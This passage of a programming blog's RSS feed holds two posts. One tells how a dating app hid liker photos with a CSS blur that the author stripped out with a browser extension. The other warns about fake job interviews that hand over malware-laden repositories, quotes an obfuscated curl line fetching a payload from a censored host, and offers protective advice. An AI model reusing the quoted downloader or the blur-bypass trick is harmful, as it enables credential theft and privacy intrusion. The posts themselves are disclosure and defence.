      <content:encoded>&lt;p&gt;While using a Tinder-style dating app, one of those in which, after a mutual like, the application puts the people involved in contact, I noticed that, to promote their premium plan, they used obfuscated blurred pictures to introduce you to the people who had pressed the Like button on your profile.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;After having a couple of matches I noticed that the obfuscated pictures belonged to real accounts, that is, they were not a set of generic images or placeholders.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1735963400/thumbnail-blurry-app-date-400_fm35p2.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1735963400/thumbnail-blurry-app-date-400_fm35p2.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;&amp;#34;Example of the blur effect applied to photography&amp;#34;&#34; width=&#34;400&#34; height=&#34;200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Example of the blur effect applied to photography&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;It sounded too obvious, so I opened my browser&amp;rsquo;s developer console and went directly to the CSS code to double-check my suspicions. They couldn&amp;rsquo;t possibly be making such a simple mistake—I thought—they&amp;rsquo;re protecting the identity of the photographs with a simple CSS &lt;em&gt;filter: blur&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-css&#34; data-lang=&#34;css&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&lt;span style=&#34;color:#f3f99d&#34;&gt;hidden-image&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;filter&lt;/span&gt;: &lt;span style=&#34;color:#ff5c57&#34;&gt;blur&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;&lt;span style=&#34;color:#9aedfe&#34;&gt;px&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;image-processing-of-this-dating-app&#34;&gt;Image processing of this dating app.&lt;/h2&gt;&#xA;&lt;p&gt;The actual images were served by the app&amp;rsquo;s CDN and then a filter was applied to hide them, so to find out who had liked you, you just had to remove the filter.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately it was impossible to get any other data from the pictures or from the URL structure, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;API calls&lt;/a&gt;&#xA;, or any other information given; neither the name, nor the profile nor any other piece of information was accessible other than the profile picture.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;how-to-obfuscate-images-in-dating-apps&#34;&gt;How to obfuscate images in dating apps?&lt;/h2&gt;&#xA;&lt;p&gt;Certainly this was an architectural mistake, it&amp;rsquo;s true that is plain simple to hide the images in the frontend, using CSS, not only that, you save disk space and avoid processing time in the backend, however, a better option would have been to use a set of generic images for all accounts.&lt;/p&gt;&#xA;&lt;p&gt;Another plausible alternative would have been to generate a thumbnail (and other &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/how-to-convert-jpg-to-webp-on-gnu-linux/&#34;&gt;changes, like changing the format, example: webp&lt;/a&gt;&#xA;) automatically every time a user updates their main profile image; it consumes a bit more space but keeps the real images safe and personalizes the experience for each user.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;flowchart TD&#xA;    id1[Profile picture change] --&gt; id2[Generate blurred thumbnail ]&#xA;    id1 --&gt; id3[Generate normal thumbnail ]&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;exploiting-the-bug-with-a-browser-extension&#34;&gt;Exploiting the bug with a browser extension&lt;/h2&gt;&#xA;&lt;p&gt;And, what I did about it? Well, in order to exploit the bug, I created a small Javascript script that gathered all the profile images and removed the class that applied the blur effect, afterwards I integrated it into a browser extension to automate the process of unblocking them each time I entered the page.&lt;/p&gt;&#xA;&lt;p&gt;This little oversight on the part of the developers lasted about two years. It has now been fixed so if you try to search for the bug on the main dating pages, you will no longer find it, and this is also the main reason that I decided to post about it.&lt;/p&gt;&#xA;&lt;p&gt;The developers in charge modified the code for its web version, leaving the rest of the UI almost intact and chose to create an obfuscated thumbnail for each account, but processing it from the backend, so that it is completely impossible to get the real image.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;While using a Tinder-style dating app, one of those in which, after a mutual like, the application puts the people involved in contact, I noticed that, to promote their premium plan, they used obfuscated blurred pictures to introduce you to the people who had pressed the Like button on your profile.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;After having a couple of matches I noticed that the obfuscated pictures belonged to real accounts, that is, they were not a set of generic images or placeholders.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>You Could Lose All Your Crypto In a Job Interview</title>
      <link>https://coffeebytes.dev/en/opinion/you-could-lose-all-your-crypto-in-a-job-interview/</link>
      <pubDate>Sat, 14 Dec 2024 22:24:22 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/opinion/you-could-lose-all-your-crypto-in-a-job-interview/</guid>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The other day I was browsing Elon Musk&amp;rsquo;s political propaganda machine, also known as X, and came across this gem of human shamelessness, an interviewer who nearly hacked one of his applicants.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;running-malware-in-job-interviews&#34;&gt;Running malware in job interviews.&lt;/h2&gt;&#xA;&lt;p&gt;The story goes like this: you&amp;rsquo;re in need of a job, you&amp;rsquo;re attending the interview remotely, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/&#34;&gt;the recruiter asks you to clone a Github library&lt;/a&gt;&#xA; to find bugs in the code, an average interview for a developer position, all looks normal up to this point. Of course you, in need of a good job, decide to go through with the process.&lt;/p&gt;&#xA;&lt;p&gt;Well, this guy was smart enough to read the code to be executed before blindly executing his voluminous &lt;em&gt;node_modules&lt;/em&gt; directory. And what did he find? A succulent and delicious minimized code, also obfuscated and with hints of putting your computer to mine cryptocurrencies.&lt;/p&gt;&#xA;&lt;p&gt;Our friend was like George, curious, so he reformated the code and found:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Lines that appear to search and read the contents of Solana wallets.&lt;/li&gt;&#xA;&lt;li&gt;Scripts that scan browser directories.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;API calls to an IP address&lt;/a&gt;&#xA;, with no domain, some with no response at all and some that download obfuscated Python scripts (I guess it follows up the hacking process by installing a backdoor or some RAT).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you want to &lt;del&gt;infect yourself&lt;/del&gt; read the code, visit &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://gist.github.com/jbrit/9a6525d086411a0fcffea202f368e780#file-initial-obfuscated-iife-js&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the github repository&lt;/a&gt;&#xA;, I take no responsibility for anything though.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;_0x42b722(&lt;span style=&#34;color:#ff5c57&#34;&gt;“&lt;/span&gt;curl &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;Lo&lt;span style=&#34;color:#ff5c57&#34;&gt;”&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; _0x157519 &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;“\”&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;“&lt;/span&gt;http&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//&amp;lt;censored&amp;gt;/pdown” + “\””, (_0x204dd7, _0x6e1c16, _0x52b515) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; (_0x204dd7) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    _0x517b73 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;void&lt;/span&gt; _0x70af27();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  })&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;how-do-we-avoid-falling-into-these-traps&#34;&gt;How do we avoid falling into these traps?&lt;/h2&gt;&#xA;&lt;p&gt;I don&amp;rsquo;t plan to stand alone in the drama. This is about offering some practical solutions so that script kiddies don&amp;rsquo;t make fun of you:&lt;/p&gt;&#xA;&lt;h3 id=&#34;use-a-different-device&#34;&gt;&lt;strong&gt;Use a different device&lt;/strong&gt;.&lt;/h3&gt;&#xA;&lt;p&gt;The most comfortable option, but also the most expensive, keep your devices separate, use one computer for work and technical interviews and another for your personal stuff, cryptocurrencies included.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;&lt;strong&gt;Read the code, whenever possible&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Recruiter sends you a script? Examine it carefully before you run it. Yes, I know, sometimes the code is too long or obfuscated, but if you have some experience, you can rapidly examine the screen with your eyes and spot the most obvious red flags. Of course, you can&amp;rsquo;t waste all afternoon on this especially if you&amp;rsquo;re in a real interview or value your time.&lt;/p&gt;&#xA;&lt;h3 id=&#34;use-a-virtual-machine&#34;&gt;&lt;strong&gt;Use a virtual machine&lt;/strong&gt;.&lt;/h3&gt;&#xA;&lt;p&gt;Mount a virtual machine, either Virtual Box or Gnome Boxes, on Linux, or a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/&#34;&gt;completely isolated Docker container&lt;/a&gt;&#xA;, if you don&amp;rsquo;t mind not having a graphical interface.&lt;/p&gt;&#xA;&lt;p&gt;Another option available, and my personal favorite: a live USB with the distribution of your choice (Debian, Fedora, or whatever you want),&lt;/p&gt;&#xA;&lt;p&gt;That way, the worst that can happen is that they infect your virtual machine and not your real computer with all your personal information. Just be careful with shared volumes! If you mount the hard drive that contains sensitive information in the VM, you&amp;rsquo;re toast.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Encrypt your sensitive information&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here comes in the classic advice from old-school IT veterans: &lt;strong&gt;encrypt your important data&lt;/strong&gt;. If someone manages to access your collection of kitten memes,it will be just a garbage of non-sense zeroes and ones.&lt;/p&gt;&#xA;&lt;p&gt;I don&amp;rsquo;t plan to offer details because there is already too much information on the internet about GPG and its alternatives, Google GPG or read the manual directly, if you are not that familiar with the terminal or don&amp;rsquo;t want to become a Linux or math nerd, there are tools like Kleopatra, which could make cryptography more intuitive to use.&lt;/p&gt;&#xA;&lt;h2 id=&#34;dont-run-arbitrary-code-on-your-personal-machine&#34;&gt;Don&amp;rsquo;t run arbitrary code on your personal machine.&lt;/h2&gt;&#xA;&lt;p&gt;Do you have better ideas to protect us from black hat interviews? Drop your tips on social media and tag me. I look forward to adding your suggestions to the post.&lt;/p&gt;&#xA;&lt;p&gt;If you want to read the full story give Elon&amp;rsquo;s blog a visit&amp;hellip;. I mean X. Edited: the owner of the account changed his privacy settings so now you can&amp;rsquo;t watch the full conversation.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The other day I was browsing Elon Musk&amp;rsquo;s political propaganda machine, also known as X, and came across this gem of human shamelessness, an interviewer who nearly hacked one of his applicants.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;running-malware-in-job-interviews&#34;&gt;Running malware in job interviews.&lt;/h2&gt;&#xA;&lt;p&gt;The story goes like this: you&amp;rsquo;re in need of a job, you&amp;rsquo;re attending the interview remotely, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/&#34;&gt;the recruiter asks you to clone a Github 